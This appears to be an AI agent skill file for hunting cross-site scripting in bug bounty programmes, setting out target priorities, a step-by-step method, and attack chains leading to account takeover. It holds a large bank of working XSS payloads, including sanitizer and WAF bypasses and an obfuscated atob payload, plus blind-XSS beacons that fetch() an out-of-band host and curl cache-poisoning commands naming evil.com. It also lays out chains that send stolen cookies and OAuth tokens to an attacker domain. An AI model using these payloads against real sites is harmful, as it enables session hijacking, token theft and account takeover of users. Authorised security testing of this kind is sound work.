name: hunt-xss description: Hunting skill for xss vulnerabilities. Built from 174 public bug bounty reports. Use when hunting xss on any target. sources: github, hackerone_public report_count: 174
Crown Jewel Targets
XSS is high-value when it combines privileged context + persistent delivery + scope escalation. The highest payouts come from:
- Admin panels and authenticated dashboards (e.g.,
*/admin,*/settings) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover - Payment/financial flows (
paypal.com, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale - Stored XSS in collaborative features (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact
- SSO/signin pages (e.g.,
paypal.com/signin) — XSS here is critical because it can steal auth tokens across the entire platform - Shared SaaS tenant surfaces (
*.myshopify.com,api.collabs.*) — XSS in one tenant's context can bleed across tenant boundaries - Help/documentation sites (
help.shopify.com) — lower severity individually, but often have looser sanitization and trusted user perception - SVG/file upload endpoints — frequently bypasses CSP and sanitization simultaneously
Asset types that pay most: Main product domains > Admin subdomains > API endpoints > Marketing/help sites
OOB-Or-It-Didn't-Happen Gate (Blind / Stored XSS)
For blind and stored XSS — claims require an out-of-band confirmation, the same as blind SSRF. The OOB receiver fires when the payload actually executes in a browser somewhere (an admin reviewing logs, a SOC analyst opening a ticket, an email rendering a stored payload).
What is NOT confirmation
- ASP.NET request validator rejected your
<and returned a different status code → not XSS, that's WAF noise. - Your payload appears in the response body URL-encoded or HTML-encoded → not XSS, that's correct output encoding.
- The form action attribute contains your payload string as
%22onclick%3D…→ not XSS, the browser does NOT decode URL encoding inside HTML attribute values; the%22stays as literal%22in the DOM. - Your
<script>tag appears in the response as<script>→ not XSS, that's escaping.
What IS confirmation
- A request to your unique Collaborator subdomain (e.g.,
bxss-err-<random>.<collab>.oastify.com) arrives in the OOB listener after your payload was stored / reflected / queued. - For stored XSS: the request arrives hours or days later when an admin views the affected resource. Plant payloads early in the engagement and keep the listener open.
- The User-Agent of the firing request is a browser (Mozilla/Chrome), not the server's own backend HTTP client.
Where to plant blind-XSS beacons
Any field whose value might be viewed in an admin UI / log viewer / email / report later:
- Error messages (
?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>) - Auth-flow source params (
?Source=,?ReturnUrl=) - Login form username field (admin may view audit logs of failed logins)
- User-Agent header (some SOC consoles render UA as HTML)
- Referer header (some analytics dashboards render Referer as HTML)
- Email addresses on registration / contact forms
- File-upload filenames
Always sub-tag the Collaborator subdomain by sink so callbacks identify which field fired.
Lesson from a authorized engagement: 10 blind-XSS Collaborator beacons planted across ErrorMessage, Source, the Authentication.asmx username field, User-Agent header, Referer header, and request paths. Zero callbacks over a 10-minute polling window. Conclusion: the SharePoint SOC views logs / errors in tooling that does not render HTML, AND the ASP.NET request validator blocks < in query strings before the payload reaches storage. Stored-XSS claim correctly retracted.
Attack Surface Signals
URL Patterns:
/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*
Response Headers (weak defense signals):
Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0
JS Patterns in source that signal DOM XSS:
document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location
Tech Stack Signals:
- Rails applications using
html_safe,raw,translate, Action Text, or ActionView sanitize helpers - GitLab/GitHub markdown pipelines (Banzai, Kramdown, RDoc, Kroki)
- Applications allowing SVG uploads or rendering
- Sites using
styletag in allowlists - Kroki/Mermaid/PlantUML diagram rendering endpoints
- Cache layers in front of authenticated pages (cache poisoning vector)
Step-by-Step Hunting Methodology
Map all reflection points — Spider the target and identify every place user input appears in HTML output. Prioritize: URL parameters, form fields, HTTP headers (User-Agent, Referer), file upload names/contents, and API response fields rendered in UI.
Classify by type — Determine if each reflection is Reflected (URL param → response), Stored (database → later rendering), or DOM-based (JS reads URL/storage → DOM sink). Each requires different payload delivery.
Probe sanitizer behavior — Send harmless canary strings first:
aaa"bbb'ccc<dddto determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.Marker Discipline: When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers:
test,marker,evil,attacker,payload,javascript,script. Good markers:cpmark987abc,x4hd2k9pq,__ZZ_MARKER_<random>_ZZ__. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the wordjavascriptis in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This single check catches 80% of false-positive reflection reports.Test allowlisted tag combinations — If a sanitizer is in use, probe for dangerous tag combos:
<math>+<style>,<svg>+<style>,<iframe srcdoc>,<style>with expressions.Hunt SVG and file upload vectors — Upload SVG files containing
<script>tags. Check Content-Type response header. Test if CSP applies to SVG responses separately.Test markdown/documentation renderers — In wiki, README, or doc fields, try:
[text](javascript:alert(1)), inline HTML injection, Kroki/Mermaid payloads, RDoclink:javascript:syntax.Check redirect parameters — Test
?redirect=javascript:alert(1)and?return_url=//evil.com— look for single-click XSS via improper redirect sanitization.Probe UTM and analytics parameters —
utm_source,utm_medium,utm_campaignare often reflected without sanitization on marketing pages.Test CSP bypass opportunities — If CSP is present, look for: JSONP endpoints on allowed domains,
unsafe-inlinein style-src, SVG that bypasses script-src, script gadgets on whitelisted CDNs.Attempt stored XSS in profile/metadata fields — Username, bio, tag names, label colors, organization names — these render in many contexts and often have weaker validation.
Check cache poisoning — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.
Validate in target browser — Always confirm in a real browser before reporting. Many payloads echo back in Burp but fail to execute in a real browser due to CSP, output encoding, framework auto-escaping, context mismatch, WAF normalization, or browser HTML-parsing differences. (Note: Chrome's XSS Auditor was removed in Chrome 78 / Oct 2019 and no shipping browser has one — never attribute a failed PoC to an "XSS auditor".)
Payload & Detection Patterns
Basic context probing:
aaa"bbb'ccc<ddd>eee`fff
Reflected XSS — URL parameter baseline:
?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg onload=alert(1)>
?redirect=javascript:alert(document.domain)
Attribute context escapes:
" onmouseover="alert(1)
' onmouseover='alert(1)
`onmouseover=alert(1)
SVG-based (CSP bypass):
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
Sanitizer bypass — math+style combo:
<math><style><img src=x onerror=alert(1)></style></math>
Sanitizer bypass — svg+style combo:
<svg><style><img src=x onerror=alert(1)></style></svg>
Markdown/RDoc javascript: link:
[Click me](javascript:alert(document.domain))
Kroki/diagram injection:
```kroki
plantuml
@startuml
:<script>alert(1)</script>;
@enduml
**DOM XSS via hash/search:**
```javascript
// In browser console to test sink
location.hash = '#"><img src=x onerror=alert(1)>'
location.href = 'https://target.com/page#<script>alert(1)</script>'
Grep patterns for source review:
# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js"
# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"
# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r
Curl to detect reflection:
curl -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
curl -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"
Cache poisoning test:
# Send payload then fetch with clean session to see if cached
curl -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
curl -sk "https://target.com/page" | grep -i "evil.com"
Common Root Causes
Trusting
html_safein Rails — Developers mark strings as safe after partial sanitization, or chain.html_safeon user-supplied data without full sanitization.Allowlist sanitizers with dangerous tag combinations — Allowing
stylealongsidemathorsvgcreates mXSS (mutation XSS) opportunities even when individual tags seem harmless.Third-party rendering pipelines — Markdown-to-HTML pipelines (Banzai, Kramdown, Kroki) introduce XSS when diagram/rendering engines aren't sandboxed and output isn't re-sanitized.
Reflecting URL parameters without encoding — UTM params, redirect URLs, and search terms are reflected in page HTML or JS without proper HTML-encoding, especially on marketing/help pages that are treated as lower-security.
SVG treated as non-script content — Developers apply CSP to HTML responses but forget that
image/svg+xmlresponses can execute JavaScript and often aren't covered by the same CSP header.Incomplete sanitizer patches — CVE-patched sanitizers are bypassed by slight variations (e.g., CVE-2022-32209's incomplete fix demonstrates that sanitizer logic is difficult to get right, creating bypass chains).
javascript:scheme not blocked in href/src — Link renderers (RDoc, Markdown) fail to blockjavascript:URLs in href attributes, treating them as valid external links.Cache layers storing authenticated user input — CDN or reverse proxy caches store responses containing user-controlled XSS payloads, serving them to subsequent unauthenticated users.
File upload without Content-Type enforcement — Accepting SVG or HTML files and serving them without forcing
Content-Disposition: attachmentor overriding Content-Type.Translation helper XSS — Rails
translate/t()helper marks translation strings as HTML-safe and interpolates user input, enabling injection through locale keys.
Bypass Techniques
CSP Bypass:
- SVG uploads bypass script-src because
image/svg+xmlresponses may not inherit the page's CSP - Find JSONP endpoints on whitelisted domains (
*.googleapis.com,*.cloudflare.com) - Use
<base>tag injection to redirect script sources - Exploit
unsafe-evalorunsafe-inlinein style-src to execute CSS-based attacks <link rel=preload>or<meta http-equiv>gadgets to bypass strict policies
Sanitizer Bypasses:
- mXSS (Mutation XSS): Inject HTML that's safe when parsed by sanitizer but mutates when re-parsed by browser (e.g.,
<math><style><img onerror=...>) - Tag combination attacks:
<svg>+<style>or<math>+<style>create parsing ambiguity - Attribute quoting variations:
onmouseover=alert(1)without quotes, backtick delimiters - HTML entity encoding:
javascript:orjavascript:in href values - Protocol variations:
javascript:,vbscript:,data:text/html
Filter Evasion:
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<!-- Null bytes (legacy/weak — null bytes rarely survive modern HTTP/HTML parsing; low success, don't rely on it) -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<!-- Tag breaking -->
<svg/onload=alert(1)>
<!-- Event handler alternatives -->
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
WAF Bypass:
// Obfuscated payloads
<svg onload=eval(atob('YWxlcnQoMSk='))>
// String splitting
<script>ale\u0072t(1)</script>
// HTML5 event handlers that WAFs miss
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
Redirect-based XSS bypass:
?next=javascript://%0aalert(1)
?next=javascript:alert(1)
?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>
Gate 0 Validation
Before writing the report, answer all three:
What can the attacker DO right now? The attacker must demonstrate a concrete action: execute JavaScript in victim's browser session on the target domain, steal session cookies/tokens, perform actions as the victim, or exfiltrate sensitive data. "Alert box appears" is not sufficient — state what the alert box represents in terms of access (e.g., "I can read
document.cookiewhich contains the auth token used for all admin API calls").What does the victim LOSE? The victim must lose something real: session control (account takeover), sensitive data (cookies, CSRF tokens, PII), money (financial action performed without consent), or trust (credential phishing via DOM manipulation). If the victim is an unauthenticated user on a public page with no session, quantify what that user's browser is exposed to.
Can it be reproduced in 10 minutes from scratch? You must have a self-contained PoC URL or step sequence that any reviewer can follow without prior setup. The payload must fire in a current browser (Chrome/Firefox latest) without special configuration. If it only works in outdated browsers or requires the victim to have a specific extension installed, it likely won't be accepted.
Real Impact Examples
Scenario 1 — Stored XSS via Cache Poisoning on Sign-In Page An attacker discovered that a major payment platform's sign-in page reflected user-controlled input and was cached by the CDN layer. By sending a crafted request that poisoned the cache, the attacker transformed a reflected XSS into a stored-equivalent that fired for every user visiting the login page. Impact: mass credential harvesting at scale — every user who visited the sign-in page would have their credentials captured. The bypassed CSP made remediation require both code fixes and cache purging.
Scenario 2 — Stored XSS via Diagram Rendering in Wiki A developer platform's wiki feature integrated a third-party diagram rendering service (Kroki). An attacker crafted a malicious diagram payload that, when rendered, executed arbitrary JavaScript in the context of any user viewing the wiki page. Because wikis are shared across team members including project owners and admins, the payload could silently exfiltrate OAuth tokens and perform administrative actions on behalf of every viewer — effectively achieving organization-level account takeover from a single stored payload.
Scenario 3 — Sanitizer Bypass via Label Color Field with CSP Bypass
A project management platform patched an XSS vulnerability in label color fields but the fix was incomplete. A researcher found that by combining the style tag allowlist with specific tag nesting (svg>style), the sanitizer's output mutated when parsed by the browser, executing injected JavaScript. The payload also bypassed the platform's Content Security Policy because the injection occurred in an allowlisted inline style context. Impact: any user with label-creation permissions (often all project members) could inject persistent XSS that triggered for every project visitor, enabling cross-user session theft within the same project namespace.
Chains & Compositions (Senior Hunting)
XSS as a standalone finding gets paid at Low-Medium on mature programs. Real payouts cluster around chains that convert JS execution into account takeover, mass-victim impact, CSP bypass, or token exfil. The composition skill is "what does my XSS unlock once it executes?" — and the answer is always something beyond alert(1).
Chain 1 — Reflected XSS + Cache Poisoning → Persistent Stored XSS at CDN Scale (Kettle-class)
- A. Identify a reflected XSS where the vulnerable input lands in the response body and the response is cacheable (
Cache-Control: public, max-age=…). - B. Identify an unkeyed input that influences the cached body — typically
X-Forwarded-Host,X-Original-URL, an unkeyed cookie, or a parameter stripped from the cache key but reflected in the body. - C. Send a single request with the XSS payload via the unkeyed input. Cache stores the poisoned response. Every subsequent CDN-edge visitor receives it for the full TTL.
- Impact: Self-inflicted reflected XSS becomes persistent stored XSS affecting every visitor in the affected geo until cache expires. No per-victim interaction required.
- Real shape: Glassdoor reflected→stored XSS via cache poisoning, H1 #1424094 (2021-2022); Kettle "Practical Web Cache Poisoning" research. Cross-refs
hunt-cache-poisonDisclosed Report Citation #4.
Chain 2 — Self-XSS + CSRF Trigger → Effective Stored XSS → ATO
- A. Confirm self-XSS in a profile field (
bio,display_name,signature) — payload only executes when the same logged-in user views their own profile. - B. Find a CSRF-vulnerable endpoint that mutates that field (no anti-CSRF token, or
text/plainenctype bypass). - C. Craft attacker-hosted page that submits the CSRF form setting
bioto the XSS payload. Victim visits attacker page → CSRF fires → victim's profile updated → victim's next visit to their own profile executes attacker JS. - Impact: Self-XSS that "doesn't pay" becomes ATO. The payload runs in the victim's authenticated session — extract cookie, force email change via XHR, password reset → full ATO.
- Real shape: Multiple H1 disclosures 2019-2023 across social platforms. Cross-refs
hunt-csrfstep 7 (form-based CSRF on profile mutation).
Chain 3 — DOM XSS on /signin or /oauth Callback → Fragment Token Capture → ATO
- A. Find DOM XSS on a
/signin,/oauth/callback, or/auth/returnpage — typicallydocument.location.hashparsed into the DOM without escaping. - B. OAuth-implicit-flow callbacks frequently land tokens in the URL fragment (
#access_token=...). The fragment is NOT sent to the server; only the browser sees it. - C. XSS payload reads
document.location.hash, base64-encodes it, exfils viaImage()to attacker domain. Attacker now holds the OAuth access token. - Impact: Cross-platform ATO. The access token typically grants API scope to Facebook/Google/Microsoft user data; some implementations use the token directly as the session.
- Real shape: Detectify "Dirty Dancing" multi-vendor OAuth token leakage (F. Rosén, 2022); Zoom OAuth chained ATO $15,000 (H1 / Harel Security, 2024). Cross-refs
hunt-oauthDisclosed Report Citation #19 and #20.
Chain 4 — SVG Upload XSS + CSP Bypass → JS Execution on Trusted Origin → Cookie/Token Theft
- A. Identify a file-upload feature that accepts
image/svg+xml. SVG files are XML and can contain<script>tags — many sanitisers process PNG/JPG but pass SVG through unmodified. - B. CSP frequently applies to HTML responses but NOT to
image/svg+xmlresponses. The SVG executes JS in the context of whichever origin serves it. - C. If the SVG is served same-origin (common when uploads go to
target.com/uploads/<sha>.svg), the executing JS has full session-cookie access and can call any same-origin API. - Impact: Stored XSS on the trusted origin without going through any reflected/stored content vector — bypasses CSP entirely; pulls session cookies, calls password-change endpoints, ATO.
- Real shape: Multiple disclosed cases across SaaS uploaders; cross-refs
hunt-file-uploadSVG section andhunt-xxeDisclosed Report Citation #3 and #4 (Zivver/Lab45 SVG-upload chains).
Chain 5 — postMessage XSS + Origin Check Bypass → Cross-Origin Token Exfil → ATO
- A. Identify a
window.addEventListener('message', handler)wherehandlerdoes NOT checkevent.origin(or checks it with aindexOf/endsWiththat fails ontarget.com.attacker.com). - B. Attacker page opens
target.comin a popup or iframe. Once loaded, sends apostMessagepayload that the handler evals, processes as XSS, or uses to extractdocument.cookie. - C. Handler executes in
target.comcontext; response ispostMessage'd back to attacker page viaevent.source.postMessage(stolenData, '*'). - Impact: Cross-origin JS execution and exfil with no CSP violation —
postMessageis a legitimate cross-origin channel; CSP doesn't gate it. Token theft / session hijack. - Real shape: Detectify "Dirty Dancing" multi-vendor postMessage gadgets (2022); Zoom OAuth + postMessage chain (2024). Cross-refs
hunt-oauthDisclosed Report Citation #19, #20.
Chain 6 — Markdown/Wiki XSS + Privileged Viewer → Cross-Privilege Stored XSS
- A. Stored XSS in a collaborative content field (wiki page, issue comment, customer ticket, support reply) — payload survives Markdown rendering due to insufficient allowlist on
<style>,<math>,<svg>, or attribute filters. - B. The collaborative content is viewed by a privileged user (admin, support agent with elevated permissions, project maintainer).
- C. Privileged viewer's session executes the payload in their authenticated context — XHR to admin-only endpoints, role-change of attacker, secret exfil from admin-only panels.
- Impact: Privilege escalation from low-priv user to admin via stored XSS — attacker promotes themselves on the privileged user's behalf.
- Real shape: GitLab/Jira/Confluence markdown-XSS-to-admin-priv-esc class; common payout pattern is High (privilege escalation severity bump over standalone stored XSS).
Operator-level pattern
When you confirm XSS at A, immediately ask: what state-changing endpoint or token store does this JS now have access to? Where does the payload run, and who sees it? The chain payout is 5-20x the standalone XSS payout. Discipline gate before submission: do not file XSS as "Critical" without demonstrating the terminal impact (ATO / token exfil / privilege escalation); file as Medium otherwise.
Cross-references:
hunt-cache-poison— Chain 1hunt-csrf— Chain 2hunt-oauth— Chains 3, 5hunt-file-upload/hunt-xxe— Chain 4hunt-ato— terminal impact for Chains 2, 3, 4, 5
Related Skills & Chains
hunt-cache-poison— Reflected XSS becomes stored-equivalent at CDN scale when the vulnerable parameter is unkeyed. Chain primitive:X-Forwarded-Host: attacker.compoisons a cached response whose<script src=...>now points at attacker.com → every CDN-edge visitor executes attacker JS without any per-victim interaction.hunt-csrf— XSS on origin auto-defeats SameSite=Lax and same-origin checks for state-changing endpoints. Chain primitive: stored XSS in profile bio → fetch(/settings/email, {method:'POST', body:'email=attacker@evil'}) executes with victim's cookies and origin → silent email takeover → password reset → full ATO without the victim ever leaving the page.hunt-http-smuggling— Smuggling delivers an XSS payload into the response queue of the NEXT victim's request, even on endpoints that sanitize their own inputs. Chain primitive: smuggle a request whose response (carrying attacker HTML) is served as the body of the next legitimate user's GET / → reflected XSS at every visitor without any URL parameter visible in their address bar.security-arsenal— Reach for the XSS payload bank (SVG+style, math+style mXSS, CSP-bypass JSONP gadgets, HTML5 event handlers WAFs miss) before hand-crafting payloads; also the always-rejected list to confirm self-XSS / alert-only PoCs are not submittable.triage-validation— Run the Pre-Severity Gate before claiming Critical on stored XSS that only fires in the attacker's own session, or before claiming reflected XSS where the canary appears HTML-encoded (<) in the response body — those are the two most common downgrade-to-N/A traps.